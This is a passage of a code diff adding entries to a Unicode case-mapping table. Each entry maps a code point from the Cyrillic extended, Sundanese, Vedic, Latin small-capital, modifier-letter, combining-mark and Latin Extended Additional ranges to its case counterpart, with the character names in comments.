+ [0x422, 0x1c85], /* CYRILLIC SMALL LETTER THREE-LEGGED TE */
+ [0x42a, 0x1c86], /* CYRILLIC SMALL LETTER TALL HARD SIGN */
+ [0x462, 0x1c87], /* CYRILLIC SMALL LETTER TALL YAT */
+ [0xa64a, 0x1c88], /* CYRILLIC SMALL LETTER UNBLENDED UK */
+ [0x1c89, 0x1c89],
+ [0x1c8a, 0x1c8a],
+ [0x1c8b, 0x1c8b],
+ [0x1c8c, 0x1c8c],
+ [0x1c8d, 0x1c8d],
+ [0x1c8e, 0x1c8e],
+ [0x1c8f, 0x1c8f],
+ [0x1c90, 0x1c90],
+ [0x1c91, 0x1c91],
+ [0x1c92, 0x1c92],
+ [0x1c93, 0x1c93],
+ [0x1c94, 0x1c94],
+ [0x1c95, 0x1c95],
+ [0x1c96, 0x1c96],
+ [0x1c97, 0x1c97],
+ [0x1c98, 0x1c98],
+ [0x1c99, 0x1c99],
+ [0x1c9a, 0x1c9a],
+ [0x1c9b, 0x1c9b],
+ [0x1c9c, 0x1c9c],
+ [0x1c9d, 0x1c9d],
+ [0x1c9e, 0x1c9e],
+ [0x1c9f, 0x1c9f],
+ [0x1ca0, 0x1ca0],
+ [0x1ca1, 0x1ca1],
+ [0x1ca2, 0x1ca2],
+ [0x1ca3, 0x1ca3],
+ [0x1ca4, 0x1ca4],
+ [0x1ca5, 0x1ca5],
+ [0x1ca6, 0x1ca6],
+ [0x1ca7, 0x1ca7],
+ [0x1ca8, 0x1ca8],
+ [0x1ca9, 0x1ca9],
+ [0x1caa, 0x1caa],
+ [0x1cab, 0x1cab],
+ [0x1cac, 0x1cac],
+ [0x1cad, 0x1cad],
+ [0x1cae, 0x1cae],
+ [0x1caf, 0x1caf],
+ [0x1cb0, 0x1cb0],
+ [0x1cb1, 0x1cb1],
+ [0x1cb2, 0x1cb2],
+ [0x1cb3, 0x1cb3],
+ [0x1cb4, 0x1cb4],
+ [0x1cb5, 0x1cb5],
+ [0x1cb6, 0x1cb6],
+ [0x1cb7, 0x1cb7],
+ [0x1cb8, 0x1cb8],
+ [0x1cb9, 0x1cb9],
+ [0x1cba, 0x1cba],
+ [0x1cbb, 0x1cbb],
+ [0x1cbc, 0x1cbc],
+ [0x1cbd, 0x1cbd],
+ [0x1cbe, 0x1cbe],
+ [0x1cbf, 0x1cbf],
+ [0x1cc0, 0x1cc0], /* SUNDANESE PUNCTUATION BINDU SURYA */
+ [0x1cc1, 0x1cc1], /* SUNDANESE PUNCTUATION BINDU PANGLONG */
+ [0x1cc2, 0x1cc2], /* SUNDANESE PUNCTUATION BINDU PURNAMA */
+ [0x1cc3, 0x1cc3], /* SUNDANESE PUNCTUATION BINDU CAKRA */
+ [0x1cc4, 0x1cc4], /* SUNDANESE PUNCTUATION BINDU LEU SATANGA */
+ [0x1cc5, 0x1cc5], /* SUNDANESE PUNCTUATION BINDU KA SATANGA */
+ [0x1cc6, 0x1cc6], /* SUNDANESE PUNCTUATION BINDU DA SATANGA */
+ [0x1cc7, 0x1cc7], /* SUNDANESE PUNCTUATION BINDU BA SATANGA */
+ [0x1cc8, 0x1cc8],
+ [0x1cc9, 0x1cc9],
+ [0x1cca, 0x1cca],
+ [0x1ccb, 0x1ccb],
+ [0x1ccc, 0x1ccc],
+ [0x1ccd, 0x1ccd],
+ [0x1cce, 0x1cce],
+ [0x1ccf, 0x1ccf],
+ [0x1cd0, 0x1cd0], /* VEDIC TONE KARSHANA */
+ [0x1cd1, 0x1cd1], /* VEDIC TONE SHARA */
+ [0x1cd2, 0x1cd2], /* VEDIC TONE PRENKHA */
+ [0x1cd3, 0x1cd3], /* VEDIC SIGN NIHSHVASA */
+ [0x1cd4, 0x1cd4], /* VEDIC SIGN YAJURVEDIC MIDLINE SVARITA */
+ [0x1cd5, 0x1cd5], /* VEDIC TONE YAJURVEDIC AGGRAVATED INDEPENDENT SVARITA */
+ [0x1cd6, 0x1cd6], /* VEDIC TONE YAJURVEDIC INDEPENDENT SVARITA */
+ [0x1cd7, 0x1cd7], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA */
+ [0x1cd8, 0x1cd8], /* VEDIC TONE CANDRA BELOW */
+ [0x1cd9, 0x1cd9], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA SCHROEDER */
+ [0x1cda, 0x1cda], /* VEDIC TONE DOUBLE SVARITA */
+ [0x1cdb, 0x1cdb], /* VEDIC TONE TRIPLE SVARITA */
+ [0x1cdc, 0x1cdc], /* VEDIC TONE KATHAKA ANUDATTA */
+ [0x1cdd, 0x1cdd], /* VEDIC TONE DOT BELOW */
+ [0x1cde, 0x1cde], /* VEDIC TONE TWO DOTS BELOW */
+ [0x1cdf, 0x1cdf], /* VEDIC TONE THREE DOTS BELOW */
+ [0x1ce0, 0x1ce0], /* VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA */
+ [0x1ce1, 0x1ce1], /* VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA */
+ [0x1ce2, 0x1ce2], /* VEDIC SIGN VISARGA SVARITA */
+ [0x1ce3, 0x1ce3], /* VEDIC SIGN VISARGA UDATTA */
+ [0x1ce4, 0x1ce4], /* VEDIC SIGN REVERSED VISARGA UDATTA */
+ [0x1ce5, 0x1ce5], /* VEDIC SIGN VISARGA ANUDATTA */
+ [0x1ce6, 0x1ce6], /* VEDIC SIGN REVERSED VISARGA ANUDATTA */
+ [0x1ce7, 0x1ce7], /* VEDIC SIGN VISARGA UDATTA WITH TAIL */
+ [0x1ce8, 0x1ce8], /* VEDIC SIGN VISARGA ANUDATTA WITH TAIL */
+ [0x1ce9, 0x1ce9], /* VEDIC SIGN ANUSVARA ANTARGOMUKHA */
+ [0x1cea, 0x1cea], /* VEDIC SIGN ANUSVARA BAHIRGOMUKHA */
+ [0x1ceb, 0x1ceb], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA */
+ [0x1cec, 0x1cec], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL */
+ [0x1ced, 0x1ced], /* VEDIC SIGN TIRYAK */
+ [0x1cee, 0x1cee], /* VEDIC SIGN HEXIFORM LONG ANUSVARA */
+ [0x1cef, 0x1cef], /* VEDIC SIGN LONG ANUSVARA */
+ [0x1cf0, 0x1cf0], /* VEDIC SIGN RTHANG LONG ANUSVARA */
+ [0x1cf1, 0x1cf1], /* VEDIC SIGN ANUSVARA UBHAYATO MUKHA */
+ [0x1cf2, 0x1cf2], /* VEDIC SIGN ARDHAVISARGA */
+ [0x1cf3, 0x1cf3], /* VEDIC SIGN ROTATED ARDHAVISARGA */
+ [0x1cf4, 0x1cf4], /* VEDIC TONE CANDRA ABOVE */
+ [0x1cf5, 0x1cf5], /* VEDIC SIGN JIHVAMULIYA */
+ [0x1cf6, 0x1cf6], /* VEDIC SIGN UPADHMANIYA */
+ [0x1cf7, 0x1cf7],
+ [0x1cf8, 0x1cf8], /* VEDIC TONE RING ABOVE */
+ [0x1cf9, 0x1cf9], /* VEDIC TONE DOUBLE RING ABOVE */
+ [0x1cfa, 0x1cfa],
+ [0x1cfb, 0x1cfb],
+ [0x1cfc, 0x1cfc],
+ [0x1cfd, 0x1cfd],
+ [0x1cfe, 0x1cfe],
+ [0x1cff, 0x1cff],
+ [0x1d00, 0x1d00], /* LATIN LETTER SMALL CAPITAL A */
+ [0x1d01, 0x1d01], /* LATIN LETTER SMALL CAPITAL AE */
+ [0x1d02, 0x1d02], /* LATIN SMALL LETTER TURNED AE */
+ [0x1d03, 0x1d03], /* LATIN LETTER SMALL CAPITAL BARRED B */
+ [0x1d04, 0x1d04], /* LATIN LETTER SMALL CAPITAL C */
+ [0x1d05, 0x1d05], /* LATIN LETTER SMALL CAPITAL D */
+ [0x1d06, 0x1d06], /* LATIN LETTER SMALL CAPITAL ETH */
+ [0x1d07, 0x1d07], /* LATIN LETTER SMALL CAPITAL E */
+ [0x1d08, 0x1d08], /* LATIN SMALL LETTER TURNED OPEN E */
+ [0x1d09, 0x1d09], /* LATIN SMALL LETTER TURNED I */
+ [0x1d0a, 0x1d0a], /* LATIN LETTER SMALL CAPITAL J */
+ [0x1d0b, 0x1d0b], /* LATIN LETTER SMALL CAPITAL K */
+ [0x1d0c, 0x1d0c], /* LATIN LETTER SMALL CAPITAL L WITH STROKE */
+ [0x1d0d, 0x1d0d], /* LATIN LETTER SMALL CAPITAL M */
+ [0x1d0e, 0x1d0e], /* LATIN LETTER SMALL CAPITAL REVERSED N */
+ [0x1d0f, 0x1d0f], /* LATIN LETTER SMALL CAPITAL O */
+ [0x1d10, 0x1d10], /* LATIN LETTER SMALL CAPITAL OPEN O */
+ [0x1d11, 0x1d11], /* LATIN SMALL LETTER SIDEWAYS O */
+ [0x1d12, 0x1d12], /* LATIN SMALL LETTER SIDEWAYS OPEN O */
+ [0x1d13, 0x1d13], /* LATIN SMALL LETTER SIDEWAYS O WITH STROKE */
+ [0x1d14, 0x1d14], /* LATIN SMALL LETTER TURNED OE */
+ [0x1d15, 0x1d15], /* LATIN LETTER SMALL CAPITAL OU */
+ [0x1d16, 0x1d16], /* LATIN SMALL LETTER TOP HALF O */
+ [0x1d17, 0x1d17], /* LATIN SMALL LETTER BOTTOM HALF O */
+ [0x1d18, 0x1d18], /* LATIN LETTER SMALL CAPITAL P */
+ [0x1d19, 0x1d19], /* LATIN LETTER SMALL CAPITAL REVERSED R */
+ [0x1d1a, 0x1d1a], /* LATIN LETTER SMALL CAPITAL TURNED R */
+ [0x1d1b, 0x1d1b], /* LATIN LETTER SMALL CAPITAL T */
+ [0x1d1c, 0x1d1c], /* LATIN LETTER SMALL CAPITAL U */
+ [0x1d1d, 0x1d1d], /* LATIN SMALL LETTER SIDEWAYS U */
+ [0x1d1e, 0x1d1e], /* LATIN SMALL LETTER SIDEWAYS DIAERESIZED U */
+ [0x1d1f, 0x1d1f], /* LATIN SMALL LETTER SIDEWAYS TURNED M */
+ [0x1d20, 0x1d20], /* LATIN LETTER SMALL CAPITAL V */
+ [0x1d21, 0x1d21], /* LATIN LETTER SMALL CAPITAL W */
+ [0x1d22, 0x1d22], /* LATIN LETTER SMALL CAPITAL Z */
+ [0x1d23, 0x1d23], /* LATIN LETTER SMALL CAPITAL EZH */
+ [0x1d24, 0x1d24], /* LATIN LETTER VOICED LARYNGEAL SPIRANT */
+ [0x1d25, 0x1d25], /* LATIN LETTER AIN */
+ [0x1d26, 0x1d26], /* GREEK LETTER SMALL CAPITAL GAMMA */
+ [0x1d27, 0x1d27], /* GREEK LETTER SMALL CAPITAL LAMDA */
+ [0x1d28, 0x1d28], /* GREEK LETTER SMALL CAPITAL PI */
+ [0x1d29, 0x1d29], /* GREEK LETTER SMALL CAPITAL RHO */
+ [0x1d2a, 0x1d2a], /* GREEK LETTER SMALL CAPITAL PSI */
+ [0x1d2b, 0x1d2b], /* CYRILLIC LETTER SMALL CAPITAL EL */
+ [0x1d2c, 0x1d2c], /* MODIFIER LETTER CAPITAL A */
+ [0x1d2d, 0x1d2d], /* MODIFIER LETTER CAPITAL AE */
+ [0x1d2e, 0x1d2e], /* MODIFIER LETTER CAPITAL B */
+ [0x1d2f, 0x1d2f], /* MODIFIER LETTER CAPITAL BARRED B */
+ [0x1d30, 0x1d30], /* MODIFIER LETTER CAPITAL D */
+ [0x1d31, 0x1d31], /* MODIFIER LETTER CAPITAL E */
+ [0x1d32, 0x1d32], /* MODIFIER LETTER CAPITAL REVERSED E */
+ [0x1d33, 0x1d33], /* MODIFIER LETTER CAPITAL G */
+ [0x1d34, 0x1d34], /* MODIFIER LETTER CAPITAL H */
+ [0x1d35, 0x1d35], /* MODIFIER LETTER CAPITAL I */
+ [0x1d36, 0x1d36], /* MODIFIER LETTER CAPITAL J */
+ [0x1d37, 0x1d37], /* MODIFIER LETTER CAPITAL K */
+ [0x1d38, 0x1d38], /* MODIFIER LETTER CAPITAL L */
+ [0x1d39, 0x1d39], /* MODIFIER LETTER CAPITAL M */
+ [0x1d3a, 0x1d3a], /* MODIFIER LETTER CAPITAL N */
+ [0x1d3b, 0x1d3b], /* MODIFIER LETTER CAPITAL REVERSED N */
+ [0x1d3c, 0x1d3c], /* MODIFIER LETTER CAPITAL O */
+ [0x1d3d, 0x1d3d], /* MODIFIER LETTER CAPITAL OU */
+ [0x1d3e, 0x1d3e], /* MODIFIER LETTER CAPITAL P */
+ [0x1d3f, 0x1d3f], /* MODIFIER LETTER CAPITAL R */
+ [0x1d40, 0x1d40], /* MODIFIER LETTER CAPITAL T */
+ [0x1d41, 0x1d41], /* MODIFIER LETTER CAPITAL U */
+ [0x1d42, 0x1d42], /* MODIFIER LETTER CAPITAL W */
+ [0x1d43, 0x1d43], /* MODIFIER LETTER SMALL A */
+ [0x1d44, 0x1d44], /* MODIFIER LETTER SMALL TURNED A */
+ [0x1d45, 0x1d45], /* MODIFIER LETTER SMALL ALPHA */
+ [0x1d46, 0x1d46], /* MODIFIER LETTER SMALL TURNED AE */
+ [0x1d47, 0x1d47], /* MODIFIER LETTER SMALL B */
+ [0x1d48, 0x1d48], /* MODIFIER LETTER SMALL D */
+ [0x1d49, 0x1d49], /* MODIFIER LETTER SMALL E */
+ [0x1d4a, 0x1d4a], /* MODIFIER LETTER SMALL SCHWA */
+ [0x1d4b, 0x1d4b], /* MODIFIER LETTER SMALL OPEN E */
+ [0x1d4c, 0x1d4c], /* MODIFIER LETTER SMALL TURNED OPEN E */
+ [0x1d4d, 0x1d4d], /* MODIFIER LETTER SMALL G */
+ [0x1d4e, 0x1d4e], /* MODIFIER LETTER SMALL TURNED I */
+ [0x1d4f, 0x1d4f], /* MODIFIER LETTER SMALL K */
+ [0x1d50, 0x1d50], /* MODIFIER LETTER SMALL M */
+ [0x1d51, 0x1d51], /* MODIFIER LETTER SMALL ENG */
+ [0x1d52, 0x1d52], /* MODIFIER LETTER SMALL O */
+ [0x1d53, 0x1d53], /* MODIFIER LETTER SMALL OPEN O */
+ [0x1d54, 0x1d54], /* MODIFIER LETTER SMALL TOP HALF O */
+ [0x1d55, 0x1d55], /* MODIFIER LETTER SMALL BOTTOM HALF O */
+ [0x1d56, 0x1d56], /* MODIFIER LETTER SMALL P */
+ [0x1d57, 0x1d57], /* MODIFIER LETTER SMALL T */
+ [0x1d58, 0x1d58], /* MODIFIER LETTER SMALL U */
+ [0x1d59, 0x1d59], /* MODIFIER LETTER SMALL SIDEWAYS U */
+ [0x1d5a, 0x1d5a], /* MODIFIER LETTER SMALL TURNED M */
+ [0x1d5b, 0x1d5b], /* MODIFIER LETTER SMALL V */
+ [0x1d5c, 0x1d5c], /* MODIFIER LETTER SMALL AIN */
+ [0x1d5d, 0x1d5d], /* MODIFIER LETTER SMALL BETA */
+ [0x1d5e, 0x1d5e], /* MODIFIER LETTER SMALL GREEK GAMMA */
+ [0x1d5f, 0x1d5f], /* MODIFIER LETTER SMALL DELTA */
+ [0x1d60, 0x1d60], /* MODIFIER LETTER SMALL GREEK PHI */
+ [0x1d61, 0x1d61], /* MODIFIER LETTER SMALL CHI */
+ [0x1d62, 0x1d62], /* LATIN SUBSCRIPT SMALL LETTER I */
+ [0x1d63, 0x1d63], /* LATIN SUBSCRIPT SMALL LETTER R */
+ [0x1d64, 0x1d64], /* LATIN SUBSCRIPT SMALL LETTER U */
+ [0x1d65, 0x1d65], /* LATIN SUBSCRIPT SMALL LETTER V */
+ [0x1d66, 0x1d66], /* GREEK SUBSCRIPT SMALL LETTER BETA */
+ [0x1d67, 0x1d67], /* GREEK SUBSCRIPT SMALL LETTER GAMMA */
+ [0x1d68, 0x1d68], /* GREEK SUBSCRIPT SMALL LETTER RHO */
+ [0x1d69, 0x1d69], /* GREEK SUBSCRIPT SMALL LETTER PHI */
+ [0x1d6a, 0x1d6a], /* GREEK SUBSCRIPT SMALL LETTER CHI */
+ [0x1d6b, 0x1d6b], /* LATIN SMALL LETTER UE */
+ [0x1d6c, 0x1d6c], /* LATIN SMALL LETTER B WITH MIDDLE TILDE */
+ [0x1d6d, 0x1d6d], /* LATIN SMALL LETTER D WITH MIDDLE TILDE */
+ [0x1d6e, 0x1d6e], /* LATIN SMALL LETTER F WITH MIDDLE TILDE */
+ [0x1d6f, 0x1d6f], /* LATIN SMALL LETTER M WITH MIDDLE TILDE */
+ [0x1d70, 0x1d70], /* LATIN SMALL LETTER N WITH MIDDLE TILDE */
+ [0x1d71, 0x1d71], /* LATIN SMALL LETTER P WITH MIDDLE TILDE */
+ [0x1d72, 0x1d72], /* LATIN SMALL LETTER R WITH MIDDLE TILDE */
+ [0x1d73, 0x1d73], /* LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE */
+ [0x1d74, 0x1d74], /* LATIN SMALL LETTER S WITH MIDDLE TILDE */
+ [0x1d75, 0x1d75], /* LATIN SMALL LETTER T WITH MIDDLE TILDE */
+ [0x1d76, 0x1d76], /* LATIN SMALL LETTER Z WITH MIDDLE TILDE */
+ [0x1d77, 0x1d77], /* LATIN SMALL LETTER TURNED G */
+ [0x1d78, 0x1d78], /* MODIFIER LETTER CYRILLIC EN */
+ [0xa77d, 0x1d79], /* LATIN SMALL LETTER INSULAR G */
+ [0x1d7a, 0x1d7a], /* LATIN SMALL LETTER TH WITH STRIKETHROUGH */
+ [0x1d7b, 0x1d7b], /* LATIN SMALL CAPITAL LETTER I WITH STROKE */
+ [0x1d7c, 0x1d7c], /* LATIN SMALL LETTER IOTA WITH STROKE */
+ [0x2c63, 0x1d7d], /* LATIN SMALL LETTER P WITH STROKE */
+ [0x1d7e, 0x1d7e], /* LATIN SMALL CAPITAL LETTER U WITH STROKE */
+ [0x1d7f, 0x1d7f], /* LATIN SMALL LETTER UPSILON WITH STROKE */
+ [0x1d80, 0x1d80], /* LATIN SMALL LETTER B WITH PALATAL HOOK */
+ [0x1d81, 0x1d81], /* LATIN SMALL LETTER D WITH PALATAL HOOK */
+ [0x1d82, 0x1d82], /* LATIN SMALL LETTER F WITH PALATAL HOOK */
+ [0x1d83, 0x1d83], /* LATIN SMALL LETTER G WITH PALATAL HOOK */
+ [0x1d84, 0x1d84], /* LATIN SMALL LETTER K WITH PALATAL HOOK */
+ [0x1d85, 0x1d85], /* LATIN SMALL LETTER L WITH PALATAL HOOK */
+ [0x1d86, 0x1d86], /* LATIN SMALL LETTER M WITH PALATAL HOOK */
+ [0x1d87, 0x1d87], /* LATIN SMALL LETTER N WITH PALATAL HOOK */
+ [0x1d88, 0x1d88], /* LATIN SMALL LETTER P WITH PALATAL HOOK */
+ [0x1d89, 0x1d89], /* LATIN SMALL LETTER R WITH PALATAL HOOK */
+ [0x1d8a, 0x1d8a], /* LATIN SMALL LETTER S WITH PALATAL HOOK */
+ [0x1d8b, 0x1d8b], /* LATIN SMALL LETTER ESH WITH PALATAL HOOK */
+ [0x1d8c, 0x1d8c], /* LATIN SMALL LETTER V WITH PALATAL HOOK */
+ [0x1d8d, 0x1d8d], /* LATIN SMALL LETTER X WITH PALATAL HOOK */
+ [0x1d8e, 0x1d8e], /* LATIN SMALL LETTER Z WITH PALATAL HOOK */
+ [0x1d8f, 0x1d8f], /* LATIN SMALL LETTER A WITH RETROFLEX HOOK */
+ [0x1d90, 0x1d90], /* LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK */
+ [0x1d91, 0x1d91], /* LATIN SMALL LETTER D WITH HOOK AND TAIL */
+ [0x1d92, 0x1d92], /* LATIN SMALL LETTER E WITH RETROFLEX HOOK */
+ [0x1d93, 0x1d93], /* LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK */
+ [0x1d94, 0x1d94], /* LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK */
+ [0x1d95, 0x1d95], /* LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK */
+ [0x1d96, 0x1d96], /* LATIN SMALL LETTER I WITH RETROFLEX HOOK */
+ [0x1d97, 0x1d97], /* LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK */
+ [0x1d98, 0x1d98], /* LATIN SMALL LETTER ESH WITH RETROFLEX HOOK */
+ [0x1d99, 0x1d99], /* LATIN SMALL LETTER U WITH RETROFLEX HOOK */
+ [0x1d9a, 0x1d9a], /* LATIN SMALL LETTER EZH WITH RETROFLEX HOOK */
+ [0x1d9b, 0x1d9b], /* MODIFIER LETTER SMALL TURNED ALPHA */
+ [0x1d9c, 0x1d9c], /* MODIFIER LETTER SMALL C */
+ [0x1d9d, 0x1d9d], /* MODIFIER LETTER SMALL C WITH CURL */
+ [0x1d9e, 0x1d9e], /* MODIFIER LETTER SMALL ETH */
+ [0x1d9f, 0x1d9f], /* MODIFIER LETTER SMALL REVERSED OPEN E */
+ [0x1da0, 0x1da0], /* MODIFIER LETTER SMALL F */
+ [0x1da1, 0x1da1], /* MODIFIER LETTER SMALL DOTLESS J WITH STROKE */
+ [0x1da2, 0x1da2], /* MODIFIER LETTER SMALL SCRIPT G */
+ [0x1da3, 0x1da3], /* MODIFIER LETTER SMALL TURNED H */
+ [0x1da4, 0x1da4], /* MODIFIER LETTER SMALL I WITH STROKE */
+ [0x1da5, 0x1da5], /* MODIFIER LETTER SMALL IOTA */
+ [0x1da6, 0x1da6], /* MODIFIER LETTER SMALL CAPITAL I */
+ [0x1da7, 0x1da7], /* MODIFIER LETTER SMALL CAPITAL I WITH STROKE */
+ [0x1da8, 0x1da8], /* MODIFIER LETTER SMALL J WITH CROSSED-TAIL */
+ [0x1da9, 0x1da9], /* MODIFIER LETTER SMALL L WITH RETROFLEX HOOK */
+ [0x1daa, 0x1daa], /* MODIFIER LETTER SMALL L WITH PALATAL HOOK */
+ [0x1dab, 0x1dab], /* MODIFIER LETTER SMALL CAPITAL L */
+ [0x1dac, 0x1dac], /* MODIFIER LETTER SMALL M WITH HOOK */
+ [0x1dad, 0x1dad], /* MODIFIER LETTER SMALL TURNED M WITH LONG LEG */
+ [0x1dae, 0x1dae], /* MODIFIER LETTER SMALL N WITH LEFT HOOK */
+ [0x1daf, 0x1daf], /* MODIFIER LETTER SMALL N WITH RETROFLEX HOOK */
+ [0x1db0, 0x1db0], /* MODIFIER LETTER SMALL CAPITAL N */
+ [0x1db1, 0x1db1], /* MODIFIER LETTER SMALL BARRED O */
+ [0x1db2, 0x1db2], /* MODIFIER LETTER SMALL PHI */
+ [0x1db3, 0x1db3], /* MODIFIER LETTER SMALL S WITH HOOK */
+ [0x1db4, 0x1db4], /* MODIFIER LETTER SMALL ESH */
+ [0x1db5, 0x1db5], /* MODIFIER LETTER SMALL T WITH PALATAL HOOK */
+ [0x1db6, 0x1db6], /* MODIFIER LETTER SMALL U BAR */
+ [0x1db7, 0x1db7], /* MODIFIER LETTER SMALL UPSILON */
+ [0x1db8, 0x1db8], /* MODIFIER LETTER SMALL CAPITAL U */
+ [0x1db9, 0x1db9], /* MODIFIER LETTER SMALL V WITH HOOK */
+ [0x1dba, 0x1dba], /* MODIFIER LETTER SMALL TURNED V */
+ [0x1dbb, 0x1dbb], /* MODIFIER LETTER SMALL Z */
+ [0x1dbc, 0x1dbc], /* MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK */
+ [0x1dbd, 0x1dbd], /* MODIFIER LETTER SMALL Z WITH CURL */
+ [0x1dbe, 0x1dbe], /* MODIFIER LETTER SMALL EZH */
+ [0x1dbf, 0x1dbf], /* MODIFIER LETTER SMALL THETA */
+ [0x1dc0, 0x1dc0], /* COMBINING DOTTED GRAVE ACCENT */
+ [0x1dc1, 0x1dc1], /* COMBINING DOTTED ACUTE ACCENT */
+ [0x1dc2, 0x1dc2], /* COMBINING SNAKE BELOW */
+ [0x1dc3, 0x1dc3], /* COMBINING SUSPENSION MARK */
+ [0x1dc4, 0x1dc4], /* COMBINING MACRON-ACUTE */
+ [0x1dc5, 0x1dc5], /* COMBINING GRAVE-MACRON */
+ [0x1dc6, 0x1dc6], /* COMBINING MACRON-GRAVE */
+ [0x1dc7, 0x1dc7], /* COMBINING ACUTE-MACRON */
+ [0x1dc8, 0x1dc8], /* COMBINING GRAVE-ACUTE-GRAVE */
+ [0x1dc9, 0x1dc9], /* COMBINING ACUTE-GRAVE-ACUTE */
+ [0x1dca, 0x1dca], /* COMBINING LATIN SMALL LETTER R BELOW */
+ [0x1dcb, 0x1dcb], /* COMBINING BREVE-MACRON */
+ [0x1dcc, 0x1dcc], /* COMBINING MACRON-BREVE */
+ [0x1dcd, 0x1dcd], /* COMBINING DOUBLE CIRCUMFLEX ABOVE */
+ [0x1dce, 0x1dce], /* COMBINING OGONEK ABOVE */
+ [0x1dcf, 0x1dcf], /* COMBINING ZIGZAG BELOW */
+ [0x1dd0, 0x1dd0], /* COMBINING IS BELOW */
+ [0x1dd1, 0x1dd1], /* COMBINING UR ABOVE */
+ [0x1dd2, 0x1dd2], /* COMBINING US ABOVE */
+ [0x1dd3, 0x1dd3], /* COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE */
+ [0x1dd4, 0x1dd4], /* COMBINING LATIN SMALL LETTER AE */
+ [0x1dd5, 0x1dd5], /* COMBINING LATIN SMALL LETTER AO */
+ [0x1dd6, 0x1dd6], /* COMBINING LATIN SMALL LETTER AV */
+ [0x1dd7, 0x1dd7], /* COMBINING LATIN SMALL LETTER C CEDILLA */
+ [0x1dd8, 0x1dd8], /* COMBINING LATIN SMALL LETTER INSULAR D */
+ [0x1dd9, 0x1dd9], /* COMBINING LATIN SMALL LETTER ETH */
+ [0x1dda, 0x1dda], /* COMBINING LATIN SMALL LETTER G */
+ [0x1ddb, 0x1ddb], /* COMBINING LATIN LETTER SMALL CAPITAL G */
+ [0x1ddc, 0x1ddc], /* COMBINING LATIN SMALL LETTER K */
+ [0x1ddd, 0x1ddd], /* COMBINING LATIN SMALL LETTER L */
+ [0x1dde, 0x1dde], /* COMBINING LATIN LETTER SMALL CAPITAL L */
+ [0x1ddf, 0x1ddf], /* COMBINING LATIN LETTER SMALL CAPITAL M */
+ [0x1de0, 0x1de0], /* COMBINING LATIN SMALL LETTER N */
+ [0x1de1, 0x1de1], /* COMBINING LATIN LETTER SMALL CAPITAL N */
+ [0x1de2, 0x1de2], /* COMBINING LATIN LETTER SMALL CAPITAL R */
+ [0x1de3, 0x1de3], /* COMBINING LATIN SMALL LETTER R ROTUNDA */
+ [0x1de4, 0x1de4], /* COMBINING LATIN SMALL LETTER S */
+ [0x1de5, 0x1de5], /* COMBINING LATIN SMALL LETTER LONG S */
+ [0x1de6, 0x1de6], /* COMBINING LATIN SMALL LETTER Z */
+ [0x1de7, 0x1de7], /* COMBINING LATIN SMALL LETTER ALPHA */
+ [0x1de8, 0x1de8], /* COMBINING LATIN SMALL LETTER B */
+ [0x1de9, 0x1de9], /* COMBINING LATIN SMALL LETTER BETA */
+ [0x1dea, 0x1dea], /* COMBINING LATIN SMALL LETTER SCHWA */
+ [0x1deb, 0x1deb], /* COMBINING LATIN SMALL LETTER F */
+ [0x1dec, 0x1dec], /* COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ [0x1ded, 0x1ded], /* COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE */
+ [0x1dee, 0x1dee], /* COMBINING LATIN SMALL LETTER P */
+ [0x1def, 0x1def], /* COMBINING LATIN SMALL LETTER ESH */
+ [0x1df0, 0x1df0], /* COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE */
+ [0x1df1, 0x1df1], /* COMBINING LATIN SMALL LETTER W */
+ [0x1df2, 0x1df2], /* COMBINING LATIN SMALL LETTER A WITH DIAERESIS */
+ [0x1df3, 0x1df3], /* COMBINING LATIN SMALL LETTER O WITH DIAERESIS */
+ [0x1df4, 0x1df4], /* COMBINING LATIN SMALL LETTER U WITH DIAERESIS */
+ [0x1df5, 0x1df5], /* COMBINING UP TACK ABOVE */
+ [0x1df6, 0x1df6],
+ [0x1df7, 0x1df7],
+ [0x1df8, 0x1df8],
+ [0x1df9, 0x1df9],
+ [0x1dfa, 0x1dfa],
+ [0x1dfb, 0x1dfb], /* COMBINING DELETION MARK */
+ [0x1dfc, 0x1dfc], /* COMBINING DOUBLE INVERTED BREVE BELOW */
+ [0x1dfd, 0x1dfd], /* COMBINING ALMOST EQUAL TO BELOW */
+ [0x1dfe, 0x1dfe], /* COMBINING LEFT ARROWHEAD ABOVE */
+ [0x1dff, 0x1dff], /* COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW */
+ [0x1e00, 0x1e01], /* LATIN CAPITAL LETTER A WITH RING BELOW */
+ [0x1e00, 0x1e01], /* LATIN SMALL LETTER A WITH RING BELOW */
+ [0x1e02, 0x1e03], /* LATIN CAPITAL LETTER B WITH DOT ABOVE */
+ [0x1e02, 0x1e03], /* LATIN SMALL LETTER B WITH DOT ABOVE */
+ [0x1e04, 0x1e05], /* LATIN CAPITAL LETTER B WITH DOT BELOW */
+ [0x1e04, 0x1e05], /* LATIN SMALL LETTER B WITH DOT BELOW */
+ [0x1e06, 0x1e07], /* LATIN CAPITAL LETTER B WITH LINE BELOW */
+ [0x1e06, 0x1e07], /* LATIN SMALL LETTER B WITH LINE BELOW */
+ [0x1e08, 0x1e09], /* LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE */
+ [0x1e08, 0x1e09], /* LATIN SMALL LETTER C WITH CEDILLA AND ACUTE */
+ [0x1e0a, 0x1e0b], /* LATIN CAPITAL LETTER D WITH DOT ABOVE */
+ [0x1e0a, 0x1e0b], /* LATIN SMALL LETTER D WITH DOT ABOVE */
+ [0x1e0c, 0x1e0d], /* LATIN CAPITAL LETTER D WITH DOT BELOW */
+ [0x1e0c, 0x1e0d], /* LATIN SMALL LETTER D WITH DOT BELOW */
